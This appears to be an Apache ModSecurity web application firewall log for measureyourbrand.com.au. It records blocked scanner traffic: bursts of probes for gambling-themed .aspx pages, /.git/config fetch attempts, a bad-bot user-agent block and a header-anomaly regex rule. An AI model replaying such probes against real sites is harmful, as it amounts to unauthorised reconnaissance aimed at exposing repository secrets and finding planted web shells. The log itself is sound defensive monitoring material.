[Thu Feb 12 04:07:22.024177 2026] [:error] [pid 57641:tid 57649] [client 51.75.119.69:42234] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aYzhenEGAHJopH5xQFwiZAAAAMY"]
[Thu Feb 12 04:07:24.660763 2026] [:error] [pid 57533:tid 57593] [client 51.75.119.69:42244] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aYzhfMBMbk5EwuXt4Ze8jwAAAFE"]
[Thu Feb 12 05:00:02.252270 2026] [:error] [pid 57533:tid 57595] [client 43.157.180.116:38142] [client 43.157.180.116] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYzt0sBMbk5EwuXt4ZfOawAAAFM"]
[Thu Feb 12 09:02:27.495793 2026] [:error] [pid 50254:tid 50270] [client 110.166.71.39:48035] [client 110.166.71.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aY0mo1XkZ-o2G0C1rDFsKwAAAgs"]
[Thu Feb 12 11:22:19.981944 2026] [:error] [pid 50167:tid 50189] [client 147.135.212.217:40818] [client 147.135.212.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aY1HazOWAjqME-_ayFOqmgAAANI"]
[Thu Feb 12 11:22:22.370948 2026] [:error] [pid 50168:tid 50220] [client 147.135.212.217:51708] [client 147.135.212.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aY1Hbgih-d2Mb0suxEf1yAAAAZU"]
[Thu Feb 12 11:22:24.670416 2026] [:error] [pid 50169:tid 50237] [client 147.135.212.217:51718] [client 147.135.212.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aY1HcLQmA2Sph23KFXBhlAAAAcs"]
[Thu Feb 12 11:22:26.944017 2026] [:error] [pid 50169:tid 50248] [client 147.135.212.217:51732] [client 147.135.212.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aY1HcrQmA2Sph23KFXBhmAAAAdY"]
[Thu Feb 12 11:22:29.356818 2026] [:error] [pid 50169:tid 50247] [client 147.135.212.217:38342] [client 147.135.212.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aY1HdbQmA2Sph23KFXBhnwAAAdU"]
[Thu Feb 12 11:22:31.753473 2026] [:error] [pid 50169:tid 50244] [client 147.135.212.217:38344] [client 147.135.212.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aY1Hd7QmA2Sph23KFXBhpQAAAdI"]
[Thu Feb 12 11:22:34.149346 2026] [:error] [pid 50254:tid 50279] [client 147.135.212.217:38356] [client 147.135.212.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aY1HelXkZ-o2G0C1rDGgdgAAAhQ"]
[Thu Feb 12 11:22:36.617072 2026] [:error] [pid 50167:tid 50194] [client 147.135.212.217:38362] [client 147.135.212.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aY1HfDOWAjqME-_ayFOqqwAAANc"]
[Thu Feb 12 11:22:38.968043 2026] [:error] [pid 8824:tid 8852] [client 147.135.212.217:54408] [client 147.135.212.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aY1HfvGtP-XDMTktFc0PKwAAARA"]
[Thu Feb 12 11:22:41.494906 2026] [:error] [pid 3188:tid 3208] [client 147.135.212.217:54416] [client 147.135.212.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aY1HgcYMNJKHx_XKcXzorAAAAJI"]
[Thu Feb 12 11:22:44.003057 2026] [:error] [pid 3188:tid 3209] [client 147.135.212.217:54418] [client 147.135.212.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aY1HhMYMNJKHx_XKcXzorwAAAJM"]
[Thu Feb 12 11:22:46.392795 2026] [:error] [pid 60619:tid 60633] [client 147.135.212.217:54424] [client 147.135.212.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aY1HhkWmS0KSFtjY-wZCVgAAAAw"]
[Thu Feb 12 11:22:48.760844 2026] [:error] [pid 8824:tid 8847] [client 147.135.212.217:52868] [client 147.135.212.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aY1HiPGtP-XDMTktFc0PNwAAAQs"]
[Thu Feb 12 11:22:51.283355 2026] [:error] [pid 50169:tid 50241] [client 147.135.212.217:52874] [client 147.135.212.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aY1Hi7QmA2Sph23KFXBhvAAAAc8"]
[Thu Feb 12 11:22:53.824672 2026] [:error] [pid 50167:tid 50190] [client 147.135.212.217:52888] [client 147.135.212.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aY1HjTOWAjqME-_ayFOqvgAAANM"]
[Thu Feb 12 11:22:56.318317 2026] [:error] [pid 60619:tid 60630] [client 147.135.212.217:52904] [client 147.135.212.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aY1HkEWmS0KSFtjY-wZCZgAAAAk"]
[Thu Feb 12 11:22:58.827945 2026] [:error] [pid 8824:tid 8849] [client 147.135.212.217:46302] [client 147.135.212.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aY1HkvGtP-XDMTktFc0PTgAAAQ0"]
[Thu Feb 12 11:23:01.326571 2026] [:error] [pid 50167:tid 50188] [client 147.135.212.217:46308] [client 147.135.212.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aY1HlTOWAjqME-_ayFOqwwAAANE"]
[Thu Feb 12 11:23:03.827530 2026] [:error] [pid 50169:tid 50242] [client 147.135.212.217:46324] [client 147.135.212.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aY1Hl7QmA2Sph23KFXBhzgAAAdA"]
[Thu Feb 12 12:10:35.092620 2026] [:error] [pid 3188:tid 3198] [client 104.28.246.114:12475] [client 104.28.246.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aY1Su8YMNJKHx_XKcXz3BgAAAIg"]
[Thu Feb 12 12:10:36.526203 2026] [:error] [pid 50169:tid 50247] [client 104.28.246.114:46633] [client 104.28.246.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/style.php"] [unique_id "aY1SvLQmA2Sph23KFXB0QgAAAdU"]
[Thu Feb 12 12:10:43.968350 2026] [:error] [pid 50169:tid 50229] [client 104.28.246.114:31951] [client 104.28.246.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/style.php"] [unique_id "aY1Sw7QmA2Sph23KFXB0UQAAAcM"]
[Thu Feb 12 12:10:44.388711 2026] [:error] [pid 50169:tid 50239] [client 104.28.246.114:31958] [client 104.28.246.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/style.php"] [unique_id "aY1SxLQmA2Sph23KFXB0VQAAAc0"]
[Thu Feb 12 14:52:50.702743 2026] [:error] [pid 50167:tid 50193] [client 104.236.54.122:42398] [client 104.236.54.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aY14wjOWAjqME-_ayFPhjQAAANY"]
[Thu Feb 12 14:52:57.885285 2026] [:error] [pid 50254:tid 50265] [client 104.236.54.122:54286] [client 104.236.54.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aY14yVXkZ-o2G0C1rDHUggAAAgY"]
[Thu Feb 12 17:28:17.397031 2026] [:error] [pid 21431:tid 21439] [client 104.236.54.122:43248] [client 104.236.54.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aY2dMZgxKQsNF5X8gtSOqwAAAMM"]
[Thu Feb 12 17:28:20.780822 2026] [:error] [pid 21433:tid 21482] [client 104.236.54.122:44766] [client 104.236.54.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aY2dNNc_9AdG3uAKpzv2yQAAAYw"]
[Thu Feb 12 21:27:35.523664 2026] [:error] [pid 46603:tid 46629] [client 147.135.252.177:58832] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aY3VR_Ei6O39v05JNJd_xwAAARg"]
[Thu Feb 12 21:27:38.255727 2026] [:error] [pid 46675:tid 46692] [client 147.135.252.177:34432] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aY3VSjuaQILPonWFiQlxSwAAAU4"]
[Thu Feb 12 21:27:40.979918 2026] [:error] [pid 63511:tid 63532] [client 147.135.252.177:34446] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aY3VTKQCQbD5BgeyIk0qOAAAABM"]
[Thu Feb 12 21:27:43.569802 2026] [:error] [pid 46718:tid 46729] [client 147.135.252.177:34462] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aY3VT0dfX45LelQwruQiYwAAAcg"]
[Thu Feb 12 21:27:46.089926 2026] [:error] [pid 63417:tid 63455] [client 147.135.252.177:34564] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aY3VUv8gSb97qRMtXCL3JgAAAEY"]
[Thu Feb 12 21:27:48.517724 2026] [:error] [pid 46603:tid 46608] [client 147.135.252.177:34572] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aY3VVPEi6O39v05JNJd_0QAAAQM"]
[Thu Feb 12 21:27:51.056835 2026] [:error] [pid 46718:tid 46732] [client 147.135.252.177:34576] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aY3VV0dfX45LelQwruQibgAAAcs"]
[Thu Feb 12 21:27:53.407418 2026] [:error] [pid 46718:tid 46728] [client 147.135.252.177:34578] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aY3VWUdfX45LelQwruQidgAAAcc"]
[Thu Feb 12 21:27:55.939078 2026] [:error] [pid 46675:tid 46694] [client 147.135.252.177:41622] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aY3VWzuaQILPonWFiQlxXgAAAVA"]
[Thu Feb 12 21:27:58.271212 2026] [:error] [pid 46603:tid 46619] [client 147.135.252.177:41632] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aY3VXvEi6O39v05JNJd_1QAAAQ4"]
[Thu Feb 12 21:28:00.715712 2026] [:error] [pid 63511:tid 63514] [client 147.135.252.177:41648] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aY3VYKQCQbD5BgeyIk0qTwAAAAE"]
[Thu Feb 12 21:28:03.050913 2026] [:error] [pid 63511:tid 63522] [client 147.135.252.177:41664] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aY3VY6QCQbD5BgeyIk0qUAAAAAk"]
[Thu Feb 12 21:28:05.586876 2026] [:error] [pid 46675:tid 46689] [client 147.135.252.177:47790] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aY3VZTuaQILPonWFiQlxaQAAAUs"]
[Thu Feb 12 21:28:08.145179 2026] [:error] [pid 63416:tid 63431] [client 147.135.252.177:47792] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aY3VaL2wmecPaCHcM2_R0wAAAYo"]
[Thu Feb 12 21:28:10.687057 2026] [:error] [pid 46718:tid 46744] [client 147.135.252.177:47796] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aY3VakdfX45LelQwruQiiwAAAdc"]
[Thu Feb 12 21:28:13.216543 2026] [:error] [pid 46603:tid 46625] [client 147.135.252.177:47812] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aY3VbfEi6O39v05JNJd_4QAAARQ"]
[Thu Feb 12 21:28:15.616745 2026] [:error] [pid 46603:tid 46615] [client 147.135.252.177:50140] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aY3Vb_Ei6O39v05JNJd_5QAAAQo"]
[Thu Feb 12 21:28:18.170568 2026] [:error] [pid 63416:tid 63421] [client 147.135.252.177:50146] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aY3Vcr2wmecPaCHcM2_R2AAAAYA"]
[Thu Feb 12 21:28:20.689598 2026] [:error] [pid 46675:tid 46681] [client 147.135.252.177:50160] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aY3VdDuaQILPonWFiQlxfAAAAUM"]
[Thu Feb 12 21:28:23.237619 2026] [:error] [pid 46718:tid 46739] [client 147.135.252.177:50174] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aY3Vd0dfX45LelQwruQimwAAAdI"]
[Thu Feb 12 21:28:25.636858 2026] [:error] [pid 46603:tid 46628] [client 147.135.252.177:37220] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aY3VefEi6O39v05JNJd_9wAAARc"]
[Thu Feb 12 21:28:28.068046 2026] [:error] [pid 65064:tid 65071] [client 147.135.252.177:37234] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aY3VfBOvRgscTcqsMBkGVAAAAMQ"]
[Thu Feb 12 21:28:30.488052 2026] [:error] [pid 46603:tid 46624] [client 147.135.252.177:37242] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aY3VfvEi6O39v05JNJd__gAAARM"]
